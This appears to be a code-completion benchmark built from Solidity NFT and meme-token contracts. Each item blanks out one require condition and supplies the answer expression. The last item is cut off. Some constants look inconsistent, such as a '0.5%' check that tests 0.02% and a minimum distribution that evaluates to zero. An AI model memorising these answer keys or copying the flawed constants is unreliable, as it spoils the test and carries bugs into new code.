//MMMMMMWx. .;ox00d' ..',,,,,,,,,,'.. ....';xl ,xc'.........',,,,,,,,,'. ,dKKko:. .oXMMMMMM
//MMMMMMMW0:. 'cok0Ol. .',,,,,,...':looooooool' .:loooooolc;....,,,,,'. 'o0KOdc,. 'kWMMMMMMM
//MMMMMMMMMNd. .,cdk0Oo' ..','..;dxl;'... ..',:oxo' ..'.. .,o0KOdl;. .lKMMMMMMMMM
//MMMMMMMMMMWKl. .;coxOOd:. . .lkc. 'ok: .:x00kdl:. .;OWMMMMMMMMMM
//MMMMMMMMMMMMW0c. .,cldkOko;. .dO: .lkc..;oO0Oxoc;. .;kNMMMMMMMMMMMM
//MMMMMMMMMMMMMMW0l. .';codkOkxk0l. ,x0kOOkxol:,. .:kNMMMMMMMMMMMMMM
//MMMMMMMMMMMMMMMMWKd,. .':cldxkOkdl;'. .';ldkOOxdol:,...'l0WMMMMMMMMMMMMMMMM
//MMMMMMMMMMMMMMMMMMMNOo,. .';:clodxkkkxolc:,''..........',;:cldxkOkkxdolc;'...'ckXMMMMMMMMMMMMMMMMMMM
//MMMMMMMMMMMMMMMMMMMMMMNOo;....',:ccloodxxkkkkkxxxxxxxxkkkkkxxddollc:;,....,lkXWMMMMMMMMMMMMMMMMMMMMM
//MMMMMMMMMMMMMMMMMMMMMMMMMWKkl;.....',;;:cccllllllllllllllccc::;,'.....,lx0NMMMMMMMMMMMMMMMMMMMMMMMMM
//MMMMMMMMMMMMMMMMMMMMMMMMMMMMMWX0xl:,..........''''''''..........';ldOKWMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
//MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWNKOdc;'. ..,:ok0XWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
////////////////////////////////////////Chimps Pimps CC0 contract/////////////////////////////////////
pragma solidity ^0.8.4;
import "erc721a/contracts/ERC721A.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
contract ChimpsPimps is ERC721A, Ownable {
uint256 public constant TOTAL_CHIMPS = 2420;
uint256 public constant FREE_CHIMPS = 5;
uint256 public constant PRICE_CHIMP_MINT = 0.0042 ether;
bool public ChimpsArePimps = false;
mapping(address => bool) public AreYouPimp;
string private _baseTokenURI;
constructor(
string memory _initBaseURI
) ERC721A("ChimpsPimps", "CSP") {
}
function _startTokenId() internal view virtual override returns (uint256) {
}
function mintFreeChimp() public {
}
function mintChimpPimp(uint256 chimps) public payable {
}
function reserveMint(uint256 quantity) external onlyOwner {
require(<FILL_ME>)
_safeMint(msg.sender, quantity);
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory)
{
}
function setChimpsPimps(bool _areChimpsPimps) external onlyOwner {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function setBaseURI(string calldata baseURI) external onlyOwner {
}
function withdrawEther() external onlyOwner {
}
}
| totalSupply()+quantity<=TOTAL_CHIMPS,"Not enough Chimps remaining" | 82,106 | totalSupply()+quantity<=TOTAL_CHIMPS |
"wallet" | /*
Name: Eva Inu
Symbol: EVA
Supply: 100,000,000
Max wallet: 2%
Max Trx: 1%
taxes 6/6 (2% TSUKA Rewards 4 % marketing)
Contract will be Locked at team.finance (1 Month)
Contract will be renounced.
Twitter:https://twitter.com/EvaInuERC
Telegram:https://t.me/EvaInuPortal
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.13;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
abstract contract Auth {
address internal owner;
constructor(address _owner) {
}
modifier onlyOwner() {
}
function isOwner(address account) public view returns (bool) {
}
function transferOwnership(address payable adr) public onlyOwner {
}
event OwnershipTransferred(address owner);
}
interface IDEXFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IDEXRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
interface ITsukaPrinter {
function setDistributionCriteria(uint256 _minPeriod, uint256 _minDistribution) external;
function setShare(address shareholder, uint256 amount) external;
function deposit() external payable;
function process(uint256 gas) external;
function giveMeTSUKA(address shareholder) external;
}
contract TsukaPrinter is ITsukaPrinter {
using SafeMath for uint256;
address _token;
address public TSUKA;
IDEXRouter router;
struct Share {
uint256 amount;
uint256 totalExcluded;
uint256 totalRealised;
}
address[] shareholders;
mapping (address => uint256) shareholderIndexes;
mapping (address => uint256) shareholderClaims;
mapping (address => Share) public shares;
uint256 public totalShares;
uint256 public totalDividends;
uint256 public totalDistributed;
uint256 public dividendsPerShare;
uint256 public dividendsPerShareAccuracyFactor = 10 ** 36;
uint256 public minPeriod = 2 hours;
uint256 public minDistribution = 1 / 100000 * (10 ** 18);
uint256 public currentIndex;
bool initialized;
modifier initialization() {
}
modifier onlyToken() {
}
constructor () {
}
receive() external payable {
}
function setDistributionCriteria(uint256 newMinPeriod, uint256 newMinDistribution) external override onlyToken {
}
function setShare(address shareholder, uint256 amount) external override onlyToken {
}
function deposit() public payable override {
}
function process(uint256 gas) external override {
}
function shouldDistribute(address shareholder) public view returns (bool) {
}
function distributeDividend(address shareholder) internal {
}
function giveMeTSUKA(address shareholder) external override onlyToken {
}
function getUnpaidEarnings(address shareholder) public view returns (uint256) {
}
function getCumulativeDividends(uint256 share) internal view returns (uint256) {
}
function addShareholder(address shareholder) internal {
}
function removeShareholder(address shareholder) internal {
}
}
contract EVAINU is IERC20, Auth {
using SafeMath for uint256;
address public TSUKA = 0xc5fB36dd2fb59d3B98dEfF88425a3F425Ee469eD; //TSUKA
string private constant _name = "Eva Inu";
string private constant _symbol = "EVA";
uint8 private constant _decimals = 9;
uint256 private _totalSupply = 100000000 * (10 ** _decimals);
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
mapping (address => uint256) private cooldown;
address private WETH;
address DEAD = 0x000000000000000000000000000000000000dEaD;
address ZERO = 0x0000000000000000000000000000000000000000;
bool public antiBot = true;
mapping (address => bool) private bots;
mapping (address => bool) public isFeeExempt;
mapping (address => bool) public isTxLimitExempt;
mapping (address => bool) public isDividendExempt;
uint256 public launchedAt;
address private lpWallet = evaInuWallet;
uint256 public buyFee = 6;
uint256 public sellFee = 6;
uint256 public toReflections = 20;
uint256 public toLiquidity = 0;
uint256 public toMarketing = 80;
uint256 public allocationSum = 100;
IDEXRouter public router;
address public pair;
address public factory;
address private tokenOwner;
address public evaInuMarketingWallet = payable(0xf61A1aF4db2c5eE8aE7f4365ed461a5f45A807C9);
address private evaInuWallet = payable(0x5cfcEe239295fa88f2A233ADD3b6C4Eb0b5985bb);
bool inSwapAndLiquify;
bool public swapAndLiquifyEnabled = true;
bool public tradingOpen = false;
TsukaPrinter public tsukaPrinter;
uint256 public tsukaPrinterGas = 0;
modifier lockTheSwap {
}
uint256 public maxTx = _totalSupply.mul(1).div(100);
uint256 public maxWallet = _totalSupply.mul(2).div(100);
uint256 public swapThreshold = _totalSupply.mul(1).div(1000);
constructor (
address _owner
) Auth(_owner) {
}
receive() external payable { }
function setBots(address[] memory bots_) external onlyOwner {
}
function openTrading() external onlyOwner {
}
function changeTotalFees(uint256 newBuyFee, uint256 newSellFee) external onlyOwner {
}
function changeFeeAllocation(uint256 newRewardFee, uint256 newLpFee, uint256 newMarketingFee) external onlyOwner {
}
function changeTxLimit(uint256 newLimit) external onlyOwner {
}
function changeWalletLimit(uint256 newLimit) external onlyOwner {
}
function changeIsFeeExempt(address holder, bool exempt) external onlyOwner {
}
function changeIsTxLimitExempt(address holder, bool exempt) external onlyOwner {
}
function setEvaInuMarketingWallet(address payable newEvaInuMarketingWallet) external onlyOwner {
}
function setLpWallet(address newLpWallet) external onlyOwner {
}
function setOwnerWallet(address payable newOwnerWallet) external onlyOwner {
}
function changeSwapBackSettings(bool enableSwapBack, uint256 newSwapBackLimit) external onlyOwner {
}
function setDistributionCriteria(uint256 newMinPeriod, uint256 newMinDistribution) external onlyOwner {
}
function delBot(address notbot) external onlyOwner {
}
function _setIsDividendExempt(address holder, bool exempt) internal {
}
function setIsDividendExempt(address holder, bool exempt) external onlyOwner {
}
function changeMoneyPrinterGas(uint256 newGas) external onlyOwner {
}
function getCirculatingSupply() public view returns (uint256) {
}
function totalSupply() external view override returns (uint256) { }
function decimals() external pure override returns (uint8) { }
function symbol() external pure override returns (string memory) { }
function name() external pure override returns (string memory) { }
function getOwner() external view override returns (address) { }
function balanceOf(address account) public view override returns (uint256) { }
function allowance(address holder, address spender) external view override returns (uint256) { }
function approve(address spender, uint256 amount) public override returns (bool) {
}
function approveMax(address spender) external returns (bool) {
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
}
function _transfer(address sender, address recipient, uint256 amount) internal returns (bool) {
if (sender!= owner && recipient!= owner) require(tradingOpen, "hold ur horses big guy."); //transfers disabled before tradingActive
require(!bots[sender] && !bots[recipient]);
if(inSwapAndLiquify){ return _basicTransfer(sender, recipient, amount); }
require(amount <= maxTx || isTxLimitExempt[sender], "tx");
if(!isTxLimitExempt[recipient] && antiBot)
{
require(<FILL_ME>)
}
if(msg.sender != pair && !inSwapAndLiquify && swapAndLiquifyEnabled && _balances[address(this)] >= swapThreshold){ swapBack(); }
_balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
uint256 finalAmount = !isFeeExempt[sender] && !isFeeExempt[recipient] ? takeFee(sender, recipient, amount) : amount;
_balances[recipient] = _balances[recipient].add(finalAmount);
// Dividend tracker
if(!isDividendExempt[sender]) {
try tsukaPrinter.setShare(sender, _balances[sender]) {} catch {}
}
if(!isDividendExempt[recipient]) {
try tsukaPrinter.setShare(recipient, _balances[recipient]) {} catch {}
}
emit Transfer(sender, recipient, finalAmount);
return true;
}
function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
}
function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
}
function swapTokensForEth(uint256 tokenAmount) private {
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
}
function swapBack() internal lockTheSwap {
}
function manualSwapBack() external onlyOwner {
}
function clearStuckEth() external onlyOwner {
}
function manualProcessGas(uint256 manualGas) external onlyOwner {
}
function checkPendingReflections(address shareholder) external view returns (uint256) {
}
function giveMeTSUKA() external {
}
}
| _balances[recipient].add(amount)<=maxWallet,"wallet" | 82,209 | _balances[recipient].add(amount)<=maxWallet |
"Wrong amount" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721URIStorage.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Burnable.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
contract MonsterEye is ERC721, ERC721Enumerable, ERC721URIStorage, ERC721Burnable, Ownable {
using Counters for Counters.Counter;
Counters.Counter private _tokenIdCounter;
string private _baseURIPrefix;
uint256 private constant ownerMax = 5555;
uint256 private constant publicMax = 5000;
uint256 private constant perWallet = 3;
mapping(address => uint) public claimed;
constructor() ERC721("Monster Eye NFT", "MonsterEye") {
}
function safeMint(address to, string memory uri) public onlyOwner {
}
function _beforeTokenTransfer(address from, address to, uint256 tokenId)
internal
override(ERC721, ERC721Enumerable)
{
}
function _burn(uint256 tokenId) internal override(ERC721, ERC721URIStorage) {
}
function tokenURI(uint256 tokenId)
public
view
override(ERC721, ERC721URIStorage)
returns (string memory)
{
}
function supportsInterface(bytes4 interfaceId)
public
view
override(ERC721, ERC721Enumerable)
returns (bool)
{
}
function setBaseURI(string memory baseURIPrefix) public onlyOwner {
}
function _baseURI() internal view override returns (string memory) {
}
function withdraw() public onlyOwner {
}
function claim(uint tokensNumber) public {
require(tokensNumber > 0, "Wrong amount");
require(<FILL_ME>)
require(_tokenIdCounter.current() + tokensNumber <= publicMax, "No more monsters");
for(uint i = 0; i < tokensNumber; i++) {
_safeMint(msg.sender, _tokenIdCounter.current());
claimed[msg.sender] += 1;
_tokenIdCounter.increment();
}
}
function extraMonsters(uint tokensNumber) public onlyOwner {
}
}
| tokensNumber+claimed[msg.sender]<=perWallet,"Wrong amount" | 82,258 | tokensNumber+claimed[msg.sender]<=perWallet |
"No more monsters" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721URIStorage.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Burnable.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
contract MonsterEye is ERC721, ERC721Enumerable, ERC721URIStorage, ERC721Burnable, Ownable {
using Counters for Counters.Counter;
Counters.Counter private _tokenIdCounter;
string private _baseURIPrefix;
uint256 private constant ownerMax = 5555;
uint256 private constant publicMax = 5000;
uint256 private constant perWallet = 3;
mapping(address => uint) public claimed;
constructor() ERC721("Monster Eye NFT", "MonsterEye") {
}
function safeMint(address to, string memory uri) public onlyOwner {
}
function _beforeTokenTransfer(address from, address to, uint256 tokenId)
internal
override(ERC721, ERC721Enumerable)
{
}
function _burn(uint256 tokenId) internal override(ERC721, ERC721URIStorage) {
}
function tokenURI(uint256 tokenId)
public
view
override(ERC721, ERC721URIStorage)
returns (string memory)
{
}
function supportsInterface(bytes4 interfaceId)
public
view
override(ERC721, ERC721Enumerable)
returns (bool)
{
}
function setBaseURI(string memory baseURIPrefix) public onlyOwner {
}
function _baseURI() internal view override returns (string memory) {
}
function withdraw() public onlyOwner {
}
function claim(uint tokensNumber) public {
require(tokensNumber > 0, "Wrong amount");
require(tokensNumber + claimed[msg.sender] <= perWallet, "Wrong amount");
require(<FILL_ME>)
for(uint i = 0; i < tokensNumber; i++) {
_safeMint(msg.sender, _tokenIdCounter.current());
claimed[msg.sender] += 1;
_tokenIdCounter.increment();
}
}
function extraMonsters(uint tokensNumber) public onlyOwner {
}
}
| _tokenIdCounter.current()+tokensNumber<=publicMax,"No more monsters" | 82,258 | _tokenIdCounter.current()+tokensNumber<=publicMax |
"No more monsters" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721URIStorage.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Burnable.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
contract MonsterEye is ERC721, ERC721Enumerable, ERC721URIStorage, ERC721Burnable, Ownable {
using Counters for Counters.Counter;
Counters.Counter private _tokenIdCounter;
string private _baseURIPrefix;
uint256 private constant ownerMax = 5555;
uint256 private constant publicMax = 5000;
uint256 private constant perWallet = 3;
mapping(address => uint) public claimed;
constructor() ERC721("Monster Eye NFT", "MonsterEye") {
}
function safeMint(address to, string memory uri) public onlyOwner {
}
function _beforeTokenTransfer(address from, address to, uint256 tokenId)
internal
override(ERC721, ERC721Enumerable)
{
}
function _burn(uint256 tokenId) internal override(ERC721, ERC721URIStorage) {
}
function tokenURI(uint256 tokenId)
public
view
override(ERC721, ERC721URIStorage)
returns (string memory)
{
}
function supportsInterface(bytes4 interfaceId)
public
view
override(ERC721, ERC721Enumerable)
returns (bool)
{
}
function setBaseURI(string memory baseURIPrefix) public onlyOwner {
}
function _baseURI() internal view override returns (string memory) {
}
function withdraw() public onlyOwner {
}
function claim(uint tokensNumber) public {
}
function extraMonsters(uint tokensNumber) public onlyOwner {
require(<FILL_ME>)
for(uint i = 0; i < tokensNumber; i++) {
_safeMint(msg.sender, _tokenIdCounter.current());
_tokenIdCounter.increment();
}
}
}
| _tokenIdCounter.current()+tokensNumber<=ownerMax,"No more monsters" | 82,258 | _tokenIdCounter.current()+tokensNumber<=ownerMax |
"must be above 0.5%" | // SPDX-License-Identifier: MIT
pragma solidity >=0.8.10;
interface IERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IFactoryV2 {
event PairCreated(address indexed token0, address indexed token1, address lpPair, uint);
function getPair(address tokenA, address tokenB) external view returns (address lpPair);
function createPair(address tokenA, address tokenB) external returns (address lpPair);
}
interface IRouter01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IRouter02 is IRouter01 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
}
contract ZeroTax is IERC20 {
address private _owner;
mapping (address => uint256) private _tOwned;
mapping (address => bool) lpPairs;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromLimits;
mapping (address => bool) private _liquidityHolders;
mapping (address => bool) private _blacklist;
string constant private _name = "Zero Tax";
string constant private _symbol = '\u2298';
uint8 constant private _decimals = 18;
uint256 constant private _tTotal = 100000000 * 10**_decimals;
IRouter02 public dexRouter;
address public lpPair;
address constant public DEAD = 0x000000000000000000000000000000000000dEaD;
address public secondPair;
uint256 private _maxTxAmountBuy = (_tTotal * 1) / 100; // 1%
uint256 private _maxTxAmountSell = (_tTotal * 1) / 100; // 1%
uint256 private _maxWalletSize = (_tTotal * 2) / 100; // 2%
bool public tradingEnabled = false;
bool public _hasLiqBeenAdded = false;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
modifier onlyOwner() {
}
constructor () {
}
receive() external payable {}
function transferOwner(address newOwner) external onlyOwner {
}
function renounceOwnership() public virtual onlyOwner {
}
function totalSupply() external pure override returns (uint256) { }
function decimals() external pure override returns (uint8) { }
function symbol() external pure override returns (string memory) { }
function name() external pure override returns (string memory) { }
function getOwner() external view override returns (address) { }
function allowance(address holder, address spender) external view override returns (uint256) { }
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function _approve(address sender, address spender, uint256 amount) private {
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
}
function setNewRouter(address newRouter) public onlyOwner {
}
function setLpPair(address pair, bool enabled) external onlyOwner {
}
function setBlacklistEnabled(address account, bool enabled) external onlyOwner {
}
function setBlacklistEnabledMultiple(address[] calldata accounts, bool enabled) external onlyOwner {
}
function isBlacklisted(address account) public view returns (bool) {
}
function setMaxTxPercents(uint256 percentBuy, uint256 divisorBuy, uint256 percentSell, uint256 divisorSell) external onlyOwner {
require(<FILL_ME>)
require((_tTotal * percentSell) / divisorSell >= (_tTotal / 5000), "must be above 0.5%");
_maxTxAmountBuy = (_tTotal * percentBuy) / divisorBuy;
_maxTxAmountSell = (_tTotal * percentSell) / divisorSell;
}
function setMaxWalletSize(uint256 percent, uint256 divisor) external onlyOwner {
}
function setExcludedFromLimits(address account, bool enabled) external onlyOwner {
}
function isExcludedFromLimits(address account) public view returns (bool) {
}
function getMaxTXs() public view returns (uint256, uint256) {
}
function getMaxWallet() public view returns (uint256) {
}
function _hasLimits(address from, address to) private view returns (bool) {
}
function _transfer(address from, address to, uint256 amount) internal returns (bool) {
}
function enableTrading() public onlyOwner {
}
function _checkLiquidityAdd(address from, address to) private {
}
function _finalizeTransfer(address from, address to, uint256 amount) private returns (bool) {
}
}
| (_tTotal*percentBuy)/divisorBuy>=(_tTotal/5000),"must be above 0.5%" | 82,271 | (_tTotal*percentBuy)/divisorBuy>=(_tTotal/5000) |
"must be above 0.5%" | // SPDX-License-Identifier: MIT
pragma solidity >=0.8.10;
interface IERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IFactoryV2 {
event PairCreated(address indexed token0, address indexed token1, address lpPair, uint);
function getPair(address tokenA, address tokenB) external view returns (address lpPair);
function createPair(address tokenA, address tokenB) external returns (address lpPair);
}
interface IRouter01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IRouter02 is IRouter01 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
}
contract ZeroTax is IERC20 {
address private _owner;
mapping (address => uint256) private _tOwned;
mapping (address => bool) lpPairs;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromLimits;
mapping (address => bool) private _liquidityHolders;
mapping (address => bool) private _blacklist;
string constant private _name = "Zero Tax";
string constant private _symbol = '\u2298';
uint8 constant private _decimals = 18;
uint256 constant private _tTotal = 100000000 * 10**_decimals;
IRouter02 public dexRouter;
address public lpPair;
address constant public DEAD = 0x000000000000000000000000000000000000dEaD;
address public secondPair;
uint256 private _maxTxAmountBuy = (_tTotal * 1) / 100; // 1%
uint256 private _maxTxAmountSell = (_tTotal * 1) / 100; // 1%
uint256 private _maxWalletSize = (_tTotal * 2) / 100; // 2%
bool public tradingEnabled = false;
bool public _hasLiqBeenAdded = false;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
modifier onlyOwner() {
}
constructor () {
}
receive() external payable {}
function transferOwner(address newOwner) external onlyOwner {
}
function renounceOwnership() public virtual onlyOwner {
}
function totalSupply() external pure override returns (uint256) { }
function decimals() external pure override returns (uint8) { }
function symbol() external pure override returns (string memory) { }
function name() external pure override returns (string memory) { }
function getOwner() external view override returns (address) { }
function allowance(address holder, address spender) external view override returns (uint256) { }
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function _approve(address sender, address spender, uint256 amount) private {
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
}
function setNewRouter(address newRouter) public onlyOwner {
}
function setLpPair(address pair, bool enabled) external onlyOwner {
}
function setBlacklistEnabled(address account, bool enabled) external onlyOwner {
}
function setBlacklistEnabledMultiple(address[] calldata accounts, bool enabled) external onlyOwner {
}
function isBlacklisted(address account) public view returns (bool) {
}
function setMaxTxPercents(uint256 percentBuy, uint256 divisorBuy, uint256 percentSell, uint256 divisorSell) external onlyOwner {
require((_tTotal * percentBuy) / divisorBuy >= (_tTotal / 5000), "must be above 0.5%");
require(<FILL_ME>)
_maxTxAmountBuy = (_tTotal * percentBuy) / divisorBuy;
_maxTxAmountSell = (_tTotal * percentSell) / divisorSell;
}
function setMaxWalletSize(uint256 percent, uint256 divisor) external onlyOwner {
}
function setExcludedFromLimits(address account, bool enabled) external onlyOwner {
}
function isExcludedFromLimits(address account) public view returns (bool) {
}
function getMaxTXs() public view returns (uint256, uint256) {
}
function getMaxWallet() public view returns (uint256) {
}
function _hasLimits(address from, address to) private view returns (bool) {
}
function _transfer(address from, address to, uint256 amount) internal returns (bool) {
}
function enableTrading() public onlyOwner {
}
function _checkLiquidityAdd(address from, address to) private {
}
function _finalizeTransfer(address from, address to, uint256 amount) private returns (bool) {
}
}
| (_tTotal*percentSell)/divisorSell>=(_tTotal/5000),"must be above 0.5%" | 82,271 | (_tTotal*percentSell)/divisorSell>=(_tTotal/5000) |
"must be above 1%" | // SPDX-License-Identifier: MIT
pragma solidity >=0.8.10;
interface IERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IFactoryV2 {
event PairCreated(address indexed token0, address indexed token1, address lpPair, uint);
function getPair(address tokenA, address tokenB) external view returns (address lpPair);
function createPair(address tokenA, address tokenB) external returns (address lpPair);
}
interface IRouter01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IRouter02 is IRouter01 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
}
contract ZeroTax is IERC20 {
address private _owner;
mapping (address => uint256) private _tOwned;
mapping (address => bool) lpPairs;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromLimits;
mapping (address => bool) private _liquidityHolders;
